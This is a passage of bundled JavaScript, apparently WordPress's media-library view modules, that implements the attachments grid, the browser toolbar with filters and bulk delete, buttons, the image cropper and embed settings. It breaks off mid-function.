); this.controller.on( 'open', this.setColumns ); /* * Call this.setColumns() after this view has been rendered in the * DOM so attachments get proper width applied. */ _.defer( this.setColumns, this ); } }, /** * Listens to the resizeEvent on the window. * * Adjusts the amount of columns accordingly. First removes any existing event * handlers to prevent duplicate listeners. * * @since 4.0.0 * * @listens window:resize * * @return {void} */ bindEvents: function() { this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) ); }, /** * Focuses the first item in the collection. * * @since 4.0.0 * * @return {void} */ attachmentFocus: function() { /* * @todo When uploading new attachments, this tries to move focus to * the attachments grid. Actually, a progress bar gets initially displayed * and then updated when uploading completes, so focus is lost. * Additionally: this view is used for both the attachments list and * the list of selected attachments in the bottom media toolbar. Thus, when * uploading attachments, it is called twice and returns two different `this`. * `this.columns` is truthy within the modal. */ if ( this.columns ) { // Move focus to the grid list within the modal. this.$el.focus(); } }, /** * Restores focus to the selected item in the collection. * * Moves focus back to the first selected attachment in the grid. Used when * tabbing backwards from the attachment details sidebar. * See media.view.AttachmentsBrowser. * * @since 4.0.0 * * @return {void} */ restoreFocus: function() { this.$( 'li.selected:first' ).focus(); }, /** * Handles events for arrow key presses. * * Focuses the attachment in the direction of the used arrow key if it exists. * * @since 4.0.0 * * @param {KeyboardEvent} event The keyboard event that triggered this function. * * @return {void} */ arrowEvent: function( event ) { var attachments = this.$el.children( 'li' ), perRow = this.columns, index = attachments.filter( ':focus' ).index(), row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow ); if ( index === -1 ) { return; } // Left arrow = 37. if ( 37 === event.keyCode ) { if ( 0 === index ) { return; } attachments.eq( index - 1 ).focus(); } // Up arrow = 38. if ( 38 === event.keyCode ) { if ( 1 === row ) { return; } attachments.eq( index - perRow ).focus(); } // Right arrow = 39. if ( 39 === event.keyCode ) { if ( attachments.length === index ) { return; } attachments.eq( index + 1 ).focus(); } // Down arrow = 40. if ( 40 === event.keyCode ) { if ( Math.ceil( attachments.length / perRow ) === row ) { return; } attachments.eq( index + perRow ).focus(); } }, /** * Clears any set event handlers. * * @since 3.5.0 * * @return {void} */ dispose: function() { this.collection.props.off( null, null, this ); if ( this.options.resize ) { this.$window.off( this.resizeEvent ); } // Call 'dispose' directly on the parent class. View.prototype.dispose.apply( this, arguments ); }, /** * Calculates the amount of columns. * * Calculates the amount of columns and sets it on the data-columns attribute * of .media-frame-content. * * @since 4.0.0 * * @return {void} */ setColumns: function() { var prev = this.columns, width = this.$el.width(); if ( width ) { this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1; if ( ! prev || prev !== this.columns ) { this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns ); } } }, /** * Initializes jQuery sortable on the attachment list. * * Fails gracefully if jQuery sortable doesn't exist or isn't passed * in the options. * * @since 3.5.0 * * @fires collection:reset * * @return {void} */ initSortable: function() { var collection = this.collection; if ( ! this.options.sortable || ! $.fn.sortable ) { return; } this.$el.sortable( _.extend({ // If the `collection` has a `comparator`, disable sorting. disabled: !! collection.comparator, /* * Change the position of the attachment as soon as the mouse pointer * overlaps a thumbnail. */ tolerance: 'pointer', // Record the initial `index` of the dragged model. start: function( event, ui ) { ui.item.data('sortableIndexStart', ui.item.index()); }, /* * Update the model's index in the collection. Do so silently, as the view * is already accurate. */ update: function( event, ui ) { var model = collection.at( ui.item.data('sortableIndexStart') ), comparator = collection.comparator; // Temporarily disable the comparator to prevent `add` // from re-sorting. delete collection.comparator; // Silently shift the model to its new index. collection.remove( model, { silent: true }); collection.add( model, { silent: true, at: ui.item.index() }); // Restore the comparator. collection.comparator = comparator; // Fire the `reset` event to ensure other collections sync. collection.trigger( 'reset', collection ); // If the collection is sorted by menu order, update the menu order. collection.saveMenuOrder(); } }, this.options.sortable ) ); /* * If the `orderby` property is changed on the `collection`, * check to see if we have a `comparator`. If so, disable sorting. */ collection.props.on( 'change:orderby', function() { this.$el.sortable( 'option', 'disabled', !! collection.comparator ); }, this ); this.collection.props.on( 'change:orderby', this.refreshSortable, this ); this.refreshSortable(); }, /** * Disables jQuery sortable if collection has a comparator or collection.orderby * equals menuOrder. * * @since 3.5.0 * * @return {void} */ refreshSortable: function() { if ( ! this.options.sortable || ! $.fn.sortable ) { return; } var collection = this.collection, orderby = collection.props.get('orderby'), enabled = 'menuOrder' === orderby || ! collection.comparator; this.$el.sortable( 'option', 'disabled', ! enabled ); }, /** * Creates a new view for an attachment and adds it to _viewsByCid. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment * * @return {wp.media.View} The created view. */ createAttachmentView: function( attachment ) { var view = new this.options.AttachmentView({ controller: this.controller, model: attachment, collection: this.collection, selection: this.options.selection }); return this._viewsByCid[ attachment.cid ] = view; }, /** * Prepares view for display. * * Creates views for every attachment in collection if the collection is not * empty, otherwise clears all views and loads more attachments. * * @since 3.5.0 * * @return {void} */ prepare: function() { if ( this.collection.length ) { this.views.set( this.collection.map( this.createAttachmentView, this ) ); } else { this.views.unset(); if ( this.options.infiniteScrolling ) { this.collection.more().done( this.scroll ); } } }, /** * Triggers the scroll function to check if we should query for additional * attachments right away. * * @since 3.5.0 * * @return {void} */ ready: function() { if ( this.options.infiniteScrolling ) { this.scroll(); } }, /** * Handles scroll events. * * Shows the spinner if we're close to the bottom. Loads more attachments from * server if we're {refreshThreshold} times away from the bottom. * * @since 3.5.0 * * @return {void} */ scroll: function() { var view = this, el = this.options.scrollElement, scrollTop = el.scrollTop, toolbar; /* * The scroll event occurs on the document, but the element that should be * checked is the document body. */ if ( el === document ) { el = document.body; scrollTop = $(document).scrollTop(); } if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) { return; } toolbar = this.views.parent.toolbar; // Show the spinner only if we are close to the bottom. if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) { toolbar.get('spinner').show(); } if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) { this.collection.more().done(function() { view.scroll(); toolbar.get('spinner').hide(); }); } } }); module.exports = Attachments; /***/ }), /***/ 9239: /***/ (function(module) { var View = wp.media.View, mediaTrash = wp.media.view.settings.mediaTrash, l10n = wp.media.view.l10n, $ = jQuery, AttachmentsBrowser, infiniteScrolling = wp.media.view.settings.infiniteScrolling, __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * wp.media.view.AttachmentsBrowser * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * * @param {object} [options] The options hash passed to the view. * @param {boolean|string} [options.filters=false] Which filters to show in the browser's toolbar. * Accepts 'uploaded' and 'all'. * @param {boolean} [options.search=true] Whether to show the search interface in the * browser's toolbar. * @param {boolean} [options.date=true] Whether to show the date filter in the * browser's toolbar. * @param {boolean} [options.display=false] Whether to show the attachments display settings * view in the sidebar. * @param {boolean|string} [options.sidebar=true] Whether to create a sidebar for the browser. * Accepts true, false, and 'errors'. */ AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{ tagName: 'div', className: 'attachments-browser', initialize: function() { _.defaults( this.options, { filters: false, search: true, date: true, display: false, sidebar: true, AttachmentView: wp.media.view.Attachment.Library }); this.controller.on( 'toggle:upload:attachment', this.toggleUploader, this ); this.controller.on( 'edit:selection', this.editSelection ); // In the Media Library, the sidebar is used to display errors before the attachments grid. if ( this.options.sidebar && 'errors' === this.options.sidebar ) { this.createSidebar(); } /* * In the grid mode (the Media Library), place the Inline Uploader before * other sections so that the visual order and the DOM order match. This way, * the Inline Uploader in the Media Library is right after the "Add New" * button, see ticket #37188. */ if ( this.controller.isModeActive( 'grid' ) ) { this.createUploader(); /* * Create a multi-purpose toolbar. Used as main toolbar in the Media Library * and also for other things, for example the "Drag and drop to reorder" and * "Suggested dimensions" info in the media modal. */ this.createToolbar(); } else { this.createToolbar(); this.createUploader(); } // Add a heading before the attachments list. this.createAttachmentsHeading(); // Create the attachments wrapper view. this.createAttachmentsWrapperView(); if ( ! infiniteScrolling ) { this.$el.addClass( 'has-load-more' ); this.createLoadMoreView(); } // For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909. if ( this.options.sidebar && 'errors' !== this.options.sidebar ) { this.createSidebar(); } this.updateContent(); if ( ! infiniteScrolling ) { this.updateLoadMoreView(); } if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) { this.$el.addClass( 'hide-sidebar' ); if ( 'errors' === this.options.sidebar ) { this.$el.addClass( 'sidebar-for-errors' ); } } this.collection.on( 'add remove reset', this.updateContent, this ); if ( ! infiniteScrolling ) { this.collection.on( 'add remove reset', this.updateLoadMoreView, this ); } // The non-cached or cached attachments query has completed. this.collection.on( 'attachments:received', this.announceSearchResults, this ); }, /** * Updates the `wp.a11y.speak()` ARIA live region with a message to communicate * the number of search results to screen reader users. This function is * debounced because the collection updates multiple times. * * @since 5.3.0 * * @return {void} */ announceSearchResults: _.debounce( function() { var count, /* translators: Accessibility text. %d: Number of attachments found in a search. */ mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Click load more for more results.' ); if ( infiniteScrolling ) { /* translators: Accessibility text. %d: Number of attachments found in a search. */ mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Scroll the page for more results.' ); } if ( this.collection.mirroring && this.collection.mirroring.args.s ) { count = this.collection.length; if ( 0 === count ) { wp.a11y.speak( l10n.noMediaTryNewSearch ); return; } if ( this.collection.hasMore() ) { wp.a11y.speak( mediaFoundHasMoreResultsMessage.replace( '%d', count ) ); return; } wp.a11y.speak( l10n.mediaFound.replace( '%d', count ) ); } }, 200 ), editSelection: function( modal ) { // When editing a selection, move focus to the "Go to library" button. modal.$( '.media-button-backToLibrary' ).focus(); }, /** * @return {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining. */ dispose: function() { this.options.selection.off( null, null, this ); View.prototype.dispose.apply( this, arguments ); return this; }, createToolbar: function() { var LibraryViewSwitcher, Filters, toolbarOptions, showFilterByType = -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] ); toolbarOptions = { controller: this.controller }; if ( this.controller.isModeActive( 'grid' ) ) { toolbarOptions.className = 'media-toolbar wp-filter'; } /** * @member {wp.media.view.Toolbar} */ this.toolbar = new wp.media.view.Toolbar( toolbarOptions ); this.views.add( this.toolbar ); this.toolbar.set( 'spinner', new wp.media.view.Spinner({ priority: -20 }) ); if ( showFilterByType || this.options.date ) { /* * Create a h2 heading before the select elements that filter attachments. * This heading is visible in the modal and visually hidden in the grid. */ this.toolbar.set( 'filters-heading', new wp.media.view.Heading( { priority: -100, text: l10n.filterAttachments, level: 'h2', className: 'media-attachments-filter-heading' }).render() ); } if ( showFilterByType ) { // "Filters" is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'filtersLabel', new wp.media.view.Label({ value: l10n.filterByType, attributes: { 'for': 'media-attachment-filters' }, priority: -80 }).render() ); if ( 'uploaded' === this.options.filters ) { this.toolbar.set( 'filters', new wp.media.view.AttachmentFilters.Uploaded({ controller: this.controller, model: this.collection.props, priority: -80 }).render() ); } else { Filters = new wp.media.view.AttachmentFilters.All({ controller: this.controller, model: this.collection.props, priority: -80 }); this.toolbar.set( 'filters', Filters.render() ); } } /* * Feels odd to bring the global media library switcher into the Attachment browser view. * Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar ); * which the controller can tap into and add this view? */ if ( this.controller.isModeActive( 'grid' ) ) { LibraryViewSwitcher = View.extend({ className: 'view-switch media-grid-view-switch', template: wp.template( 'media-library-view-switcher') }); this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({ controller: this.controller, priority: -90 }).render() ); // DateFilter is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({ value: l10n.filterByDate, attributes: { 'for': 'media-attachment-date-filters' }, priority: -75 }).render() ); this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({ controller: this.controller, model: this.collection.props, priority: -75 }).render() ); // BulkSelection is a <div> with subviews, including screen reader text. this.toolbar.set( 'selectModeToggleButton', new wp.media.view.SelectModeToggleButton({ text: l10n.bulkSelect, controller: this.controller, priority: -70 }).render() ); this.toolbar.set( 'deleteSelectedButton', new wp.media.view.DeleteSelectedButton({ filters: Filters, style: 'primary', disabled: true, text: mediaTrash ? l10n.trashSelected : l10n.deletePermanently, controller: this.controller, priority: -80, click: function() { var changed = [], removed = [], selection = this.controller.state().get( 'selection' ), library = this.controller.state().get( 'library' ); if ( ! selection.length ) { return; } if ( ! mediaTrash && ! window.confirm( l10n.warnBulkDelete ) ) { return; } if ( mediaTrash && 'trash' !== selection.at( 0 ).get( 'status' ) && ! window.confirm( l10n.warnBulkTrash ) ) { return; } selection.each( function( model ) { if ( ! model.get( 'nonces' )['delete'] ) { removed.push( model ); return; } if ( mediaTrash && 'trash' === model.get( 'status' ) ) { model.set( 'status', 'inherit' ); changed.push( model.save() ); removed.push( model ); } else if ( mediaTrash ) { model.set( 'status', 'trash' ); changed.push( model.save() ); removed.push( model ); } else { model.destroy({wait: true}); } } ); if ( changed.length ) { selection.remove( removed ); $.when.apply( null, changed ).then( _.bind( function() { library._requery( true ); this.controller.trigger( 'selection:action:done' ); }, this ) ); } else { this.controller.trigger( 'selection:action:done' ); } } }).render() ); if ( mediaTrash ) { this.toolbar.set( 'deleteSelectedPermanentlyButton', new wp.media.view.DeleteSelectedPermanentlyButton({ filters: Filters, style: 'link button-link-delete', disabled: true, text: l10n.deletePermanently, controller: this.controller, priority: -55, click: function() { var removed = [], destroy = [], selection = this.controller.state().get( 'selection' ); if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) { return; } selection.each( function( model ) { if ( ! model.get( 'nonces' )['delete'] ) { removed.push( model ); return; } destroy.push( model ); } ); if ( removed.length ) { selection.remove( removed ); } if ( destroy.length ) { $.when.apply( null, destroy.map( function (item) { return item.destroy(); } ) ).then( _.bind( function() { this.controller.trigger( 'selection:action:done' ); }, this ) ); } } }).render() ); } } else if ( this.options.date ) { // DateFilter is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({ value: l10n.filterByDate, attributes: { 'for': 'media-attachment-date-filters' }, priority: -75 }).render() ); this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({ controller: this.controller, model: this.collection.props, priority: -75 }).render() ); } if ( this.options.search ) { // Search is an input, a visually hidden label element needs to be rendered before. this.toolbar.set( 'searchLabel', new wp.media.view.Label({ value: l10n.searchLabel, className: 'media-search-input-label', attributes: { 'for': 'media-search-input' }, priority: 60 }).render() ); this.toolbar.set( 'search', new wp.media.view.Search({ controller: this.controller, model: this.collection.props, priority: 60 }).render() ); } if ( this.options.dragInfo ) { this.toolbar.set( 'dragInfo', new View({ el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0], priority: -40 }) ); } if ( this.options.suggestedWidth && this.options.suggestedHeight ) { this.toolbar.set( 'suggestedDimensions', new View({ el: $( '<div class="instructions">' + l10n.suggestedDimensions.replace( '%1$s', this.options.suggestedWidth ).replace( '%2$s', this.options.suggestedHeight ) + '</div>' )[0], priority: -40 }) ); } }, updateContent: function() { var view = this, noItemsView; if ( this.controller.isModeActive( 'grid' ) ) { // Usually the media library. noItemsView = view.attachmentsNoResults; } else { // Usually the media modal. noItemsView = view.uploader; } if ( ! this.collection.length ) { this.toolbar.get( 'spinner' ).show(); this.dfd = this.collection.more().done( function() { if ( ! view.collection.length ) { noItemsView.$el.removeClass( 'hidden' ); } else { noItemsView.$el.addClass( 'hidden' ); } view.toolbar.get( 'spinner' ).hide(); } ); } else { noItemsView.$el.addClass( 'hidden' ); view.toolbar.get( 'spinner' ).hide(); } }, createUploader: function() { this.uploader = new wp.media.view.UploaderInline({ controller: this.controller, status: false, message: this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound, canClose: this.controller.isModeActive( 'grid' ) }); this.uploader.$el.addClass( 'hidden' ); this.views.add( this.uploader ); }, toggleUploader: function() { if ( this.uploader.$el.hasClass( 'hidden' ) ) { this.uploader.show(); } else { this.uploader.hide(); } }, /** * Creates the Attachments wrapper view. * * @since 5.8.0 * * @return {void} */ createAttachmentsWrapperView: function() { this.attachmentsWrapper = new wp.media.View( { className: 'attachments-wrapper' } ); // Create the list of attachments. this.views.add( this.attachmentsWrapper ); this.createAttachments(); }, createAttachments: function() { this.attachments = new wp.media.view.Attachments({ controller: this.controller, collection: this.collection, selection: this.options.selection, model: this.model, sortable: this.options.sortable, scrollElement: this.options.scrollElement, idealColumnWidth: this.options.idealColumnWidth, // The single `Attachment` view to be used in the `Attachments` view. AttachmentView: this.options.AttachmentView }); // Add keydown listener to the instance of the Attachments view. this.controller.on( 'attachment:keydown:arrow', _.bind( this.attachments.arrowEvent, this.attachments ) ); this.controller.on( 'attachment:details:shift-tab', _.bind( this.attachments.restoreFocus, this.attachments ) ); this.views.add( '.attachments-wrapper', this.attachments ); if ( this.controller.isModeActive( 'grid' ) ) { this.attachmentsNoResults = new View({ controller: this.controller, tagName: 'p' }); this.attachmentsNoResults.$el.addClass( 'hidden no-media' ); this.attachmentsNoResults.$el.html( l10n.noMedia ); this.views.add( this.attachmentsNoResults ); } }, /** * Creates the load more button and attachments counter view. * * @since 5.8.0 * * @return {void} */ createLoadMoreView: function() { var view = this; this.loadMoreWrapper = new View( { controller: this.controller, className: 'load-more-wrapper' } ); this.loadMoreCount = new View( { controller: this.controller, tagName: 'p', className: 'load-more-count hidden' } ); this.loadMoreButton = new wp.media.view.Button( { text: __( 'Load more' ), className: 'load-more hidden', style: 'primary', size: '', click: function() { view.loadMoreAttachments(); } } ); this.loadMoreSpinner = new wp.media.view.Spinner(); this.loadMoreJumpToFirst = new wp.media.view.Button( { text: __( 'Jump to first loaded item' ), className: 'load-more-jump hidden', size: '', click: function() { view.jumpToFirstAddedItem(); } } ); this.views.add( '.attachments-wrapper', this.loadMoreWrapper ); this.views.add( '.load-more-wrapper', this.loadMoreSpinner ); this.views.add( '.load-more-wrapper', this.loadMoreCount ); this.views.add( '.load-more-wrapper', this.loadMoreButton ); this.views.add( '.load-more-wrapper', this.loadMoreJumpToFirst ); }, /** * Updates the Load More view. This function is debounced because the * collection updates multiple times at the add, remove, and reset events. * We need it to run only once, after all attachments are added or removed. * * @since 5.8.0 * * @return {void} */ updateLoadMoreView: _.debounce( function() { // Ensure the load more view elements are initially hidden at each update. this.loadMoreButton.$el.addClass( 'hidden' ); this.loadMoreCount.$el.addClass( 'hidden' ); this.loadMoreJumpToFirst.$el.addClass( 'hidden' ).prop( 'disabled', true ); if ( ! this.collection.getTotalAttachments() ) { return; } if ( this.collection.length ) { this.loadMoreCount.$el.text( /* translators: 1: Number of displayed attachments, 2: Number of total attachments. */ sprintf( __( 'Showing %1$s of %2$s media items' ), this.collection.length, this.collection.getTotalAttachments() ) ); this.loadMoreCount.$el.removeClass( 'hidden' ); } /* * Notice that while the collection updates multiple times hasMore() may * return true when it's actually not true. */ if ( this.collection.hasMore() ) { this.loadMoreButton.$el.removeClass( 'hidden' ); } // Find the media item to move focus to. The jQuery `eq()` index is zero-based. this.firstAddedMediaItem = this.$el.find( '.attachment' ).eq( this.firstAddedMediaItemIndex ); // If there's a media item to move focus to, make the "Jump to" button available. if ( this.firstAddedMediaItem.length ) { this.firstAddedMediaItem.addClass( 'new-media' ); this.loadMoreJumpToFirst.$el.removeClass( 'hidden' ).prop( 'disabled', false ); } // If there are new items added, but no more to be added, move focus to Jump button. if ( this.firstAddedMediaItem.length && ! this.collection.hasMore() ) { this.loadMoreJumpToFirst.$el.trigger( 'focus' ); } }, 10 ), /** * Loads more attachments. * * @since 5.8.0 * * @return {void} */ loadMoreAttachments: function() { var view = this; if ( ! this.collection.hasMore() ) { return; } /* * The collection index is zero-based while the length counts the actual * amount of items. Thus the length is equivalent to the position of the * first added item. */ this.firstAddedMediaItemIndex = this.collection.length; this.$el.addClass( 'more-loaded' ); this.collection.each( function( attachment ) { var attach_id = attachment.attributes.id; $( '[data-id="' + attach_id + '"]' ).addClass( 'found-media' ); }); view.loadMoreSpinner.show(); this.collection.once( 'attachments:received', function() { view.loadMoreSpinner.hide(); } ); this.collection.more(); }, /** * Moves focus to the first new added item. . * * @since 5.8.0 * * @return {void} */ jumpToFirstAddedItem: function() { // Set focus on first added item. this.firstAddedMediaItem.focus(); }, createAttachmentsHeading: function() { this.attachmentsHeading = new wp.media.view.Heading( { text: l10n.attachmentsList, level: 'h2', className: 'media-views-heading screen-reader-text' } ); this.views.add( this.attachmentsHeading ); }, createSidebar: function() { var options = this.options, selection = options.selection, sidebar = this.sidebar = new wp.media.view.Sidebar({ controller: this.controller }); this.views.add( sidebar ); if ( this.controller.uploader ) { sidebar.set( 'uploads', new wp.media.view.UploaderStatus({ controller: this.controller, priority: 40 }) ); } selection.on( 'selection:single', this.createSingle, this ); selection.on( 'selection:unsingle', this.disposeSingle, this ); if ( selection.single() ) { this.createSingle(); } }, createSingle: function() { var sidebar = this.sidebar, single = this.options.selection.single(); sidebar.set( 'details', new wp.media.view.Attachment.Details({ controller: this.controller, model: single, priority: 80 }) ); sidebar.set( 'compat', new wp.media.view.AttachmentCompat({ controller: this.controller, model: single, priority: 120 }) ); if ( this.options.display ) { sidebar.set( 'display', new wp.media.view.Settings.AttachmentDisplay({ controller: this.controller, model: this.model.display( single ), attachment: single, priority: 160, userSettings: this.model.get('displayUserSettings') }) ); } // Show the sidebar on mobile. if ( this.model.id === 'insert' ) { sidebar.$el.addClass( 'visible' ); } }, disposeSingle: function() { var sidebar = this.sidebar; sidebar.unset('details'); sidebar.unset('compat'); sidebar.unset('display'); // Hide the sidebar on mobile. sidebar.$el.removeClass( 'visible' ); } }); module.exports = AttachmentsBrowser; /***/ }), /***/ 1223: /***/ (function(module) { var Attachments = wp.media.view.Attachments, Selection; /** * wp.media.view.Attachments.Selection * * @memberOf wp.media.view.Attachments * * @class * @augments wp.media.view.Attachments * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{ events: {}, initialize: function() { _.defaults( this.options, { sortable: false, resize: false, // The single `Attachment` view to be used in the `Attachments` view. AttachmentView: wp.media.view.Attachment.Selection }); // Call 'initialize' directly on the parent class. return Attachments.prototype.initialize.apply( this, arguments ); } }); module.exports = Selection; /***/ }), /***/ 4094: /***/ (function(module) { var $ = Backbone.$, ButtonGroup; /** * wp.media.view.ButtonGroup * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{ tagName: 'div', className: 'button-group button-large media-button-group', initialize: function() { /** * @member {wp.media.view.Button[]} */ this.buttons = _.map( this.options.buttons || [], function( button ) { if ( button instanceof Backbone.View ) { return button; } else { return new wp.media.view.Button( button ).render(); } }); delete this.options.buttons; if ( this.options.classes ) { this.$el.addClass( this.options.classes ); } }, /** * @return {wp.media.view.ButtonGroup} */ render: function() { this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() ); return this; } }); module.exports = ButtonGroup; /***/ }), /***/ 3157: /***/ (function(module) { /** * wp.media.view.Button * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{ tagName: 'button', className: 'media-button', attributes: { type: 'button' }, events: { 'click': 'click' }, defaults: { text: '', style: '', size: 'large', disabled: false }, initialize: function() { /** * Create a model with the provided `defaults`. * * @member {Backbone.Model} */ this.model = new Backbone.Model( this.defaults ); // If any of the `options` have a key from `defaults`, apply its // value to the `model` and remove it from the `options object. _.each( this.defaults, function( def, key ) { var value = this.options[ key ]; if ( _.isUndefined( value ) ) { return; } this.model.set( key, value ); delete this.options[ key ]; }, this ); this.listenTo( this.model, 'change', this.render ); }, /** * @return {wp.media.view.Button} Returns itself to allow chaining. */ render: function() { var classes = [ 'button', this.className ], model = this.model.toJSON(); if ( model.style ) { classes.push( 'button-' + model.style ); } if ( model.size ) { classes.push( 'button-' + model.size ); } classes = _.uniq( classes.concat( this.options.classes ) ); this.el.className = classes.join(' '); this.$el.attr( 'disabled', model.disabled ); this.$el.text( this.model.get('text') ); return this; }, /** * @param {Object} event */ click: function( event ) { if ( '#' === this.attributes.href ) { event.preventDefault(); } if ( this.options.click && ! this.model.get('disabled') ) { this.options.click.apply( this, arguments ); } } }); module.exports = Button; /***/ }), /***/ 7137: /***/ (function(module) { var View = wp.media.View, UploaderStatus = wp.media.view.UploaderStatus, l10n = wp.media.view.l10n, $ = jQuery, Cropper; /** * wp.media.view.Cropper * * Uses the imgAreaSelect plugin to allow a user to crop an image. * * Takes imgAreaSelect options from * wp.customize.HeaderControl.calculateImageSelectOptions via * wp.customize.HeaderControl.openMM. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{ className: 'crop-content', template: wp.template('crop-content'), initialize: function() { _.bindAll(this, 'onImageLoad'); }, ready: function() { this.controller.frame.on('content:error:crop', this.onError, this); this.$image = this.$el.find('.crop-image'); this.$image.on('load', this.onImageLoad); $(window).on('resize.cropper', _.debounce(this.onImageLoad, 250)); }, remove: function() { $(window).off('resize.cropper'); this.$el.remove(); this.$el.off(); View.prototype.remove.apply(this, arguments); }, prepare: function() { return { title: l10n.cropYourImage, url: this.options.attachment.get('url') }; }, onImageLoad: function() { var imgOptions = this.controller.get('imgSelectOptions'), imgSelect; if (typeof imgOptions === 'function') { imgOptions = imgOptions(this.options.attachment, this.controller); } imgOptions = _.extend(imgOptions, { parent: this.$el, onInit: function() { // Store the set ratio. var setRatio = imgSelect.getOptions().aspectRatio; // On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio. this.parent.children().on( 'mousedown touchstart', function( e ) { // If no ratio is set and the shift key is down, use a 1:1 ratio. if ( ! setRatio && e.shiftKey ) { imgSelect.setOptions( { aspectRatio: '1:1' } ); } } ); this.parent.children().on( 'mouseup touchend', function() { // Restore the set ratio. imgSelect.setOptions( { aspectRatio: setRatio ? setRatio : false } ); } ); } } ); this.trigger('image-loaded'); imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions); }, onError: function() { var filename = this.options.attachment.get('filename'); this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({ filename: UploaderStatus.prototype.filename(filename), message: window._wpMediaViewsL10n.cropError }), { at: 0 }); } }); module.exports = Cropper; /***/ }), /***/ 5970: /***/ (function(module) { var View = wp.media.View, EditImage; /** * wp.media.view.EditImage * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{ className: 'image-editor', template: wp.template('image-editor'), initialize: function( options ) { this.editor = window.imageEdit; this.controller = options.controller; View.prototype.initialize.apply( this, arguments ); }, prepare: function() { return this.model.toJSON(); }, loadEditor: function() { this.editor.open( this.model.get( 'id' ), this.model.get( 'nonces' ).edit, this ); }, back: function() { var lastState = this.controller.lastState(); this.controller.setState( lastState ); }, refresh: function() { this.model.fetch(); }, save: function() { var lastState = this.controller.lastState(); this.model.fetch().done( _.bind( function() { this.controller.setState( lastState ); }, this ) ); } }); module.exports = EditImage; /***/ }), /***/ 5138: /***/ (function(module) { /** * wp.media.view.Embed * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{ className: 'media-embed', initialize: function() { /** * @member {wp.media.view.EmbedUrl} */ this.url = new wp.media.view.EmbedUrl({ controller: this.controller, model: this.model.props }).render(); this.views.set([ this.url ]); this.refresh(); this.listenTo( this.model, 'change:type', this.refresh ); this.listenTo( this.model, 'change:loading', this.loading ); }, /** * @param {Object} view */ settings: function( view ) { if ( this._settings ) { this._settings.remove(); } this._settings = view; this.views.add( view ); }, refresh: function() { var type = this.model.get('type'), constructor; if ( 'image' === type ) { constructor = wp.media.view.EmbedImage; } else if ( 'link' === type ) { constructor = wp.media.view.EmbedLink; } else { return; } this.settings( new constructor({ controller: this.controller, model: this.model.props, priority: 40 }) ); }, loading: function() { this.$el.toggleClass( 'embed-loading', this.model.get('loading') ); } }); module.exports = Embed; /***/ }), /***/ 1338: /***/ (function(module) { var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, EmbedImage; /** * wp.media.view.EmbedImage * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{ className: 'embed-media-settings', template: wp.template('embed-image-settings'), initialize: function() { /** * Call `initialize` directly on parent class with passed arguments */ AttachmentDisplay.prototype.initialize.apply( this, arguments ); this.listenTo( this.model, 'change:url', this.updateImage ); }, updateImage: function() { this.$('img').attr( 'src', this.model.get('url') ); } }); module.exports = EmbedImage; /***/ }), /***/ 6959: /***/ (function(module) { var $ = jQuery, EmbedLink; /** * wp.media.view.EmbedLink * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{ className: 'embed-link-settings', template: wp.template('embed-link-settings'), initialize: function() { this.listenTo( this.model, 'change:url', this.updateoEmbed ); }, updateoEmbed: _.debounce( function() { var url = this.model.get( 'url' 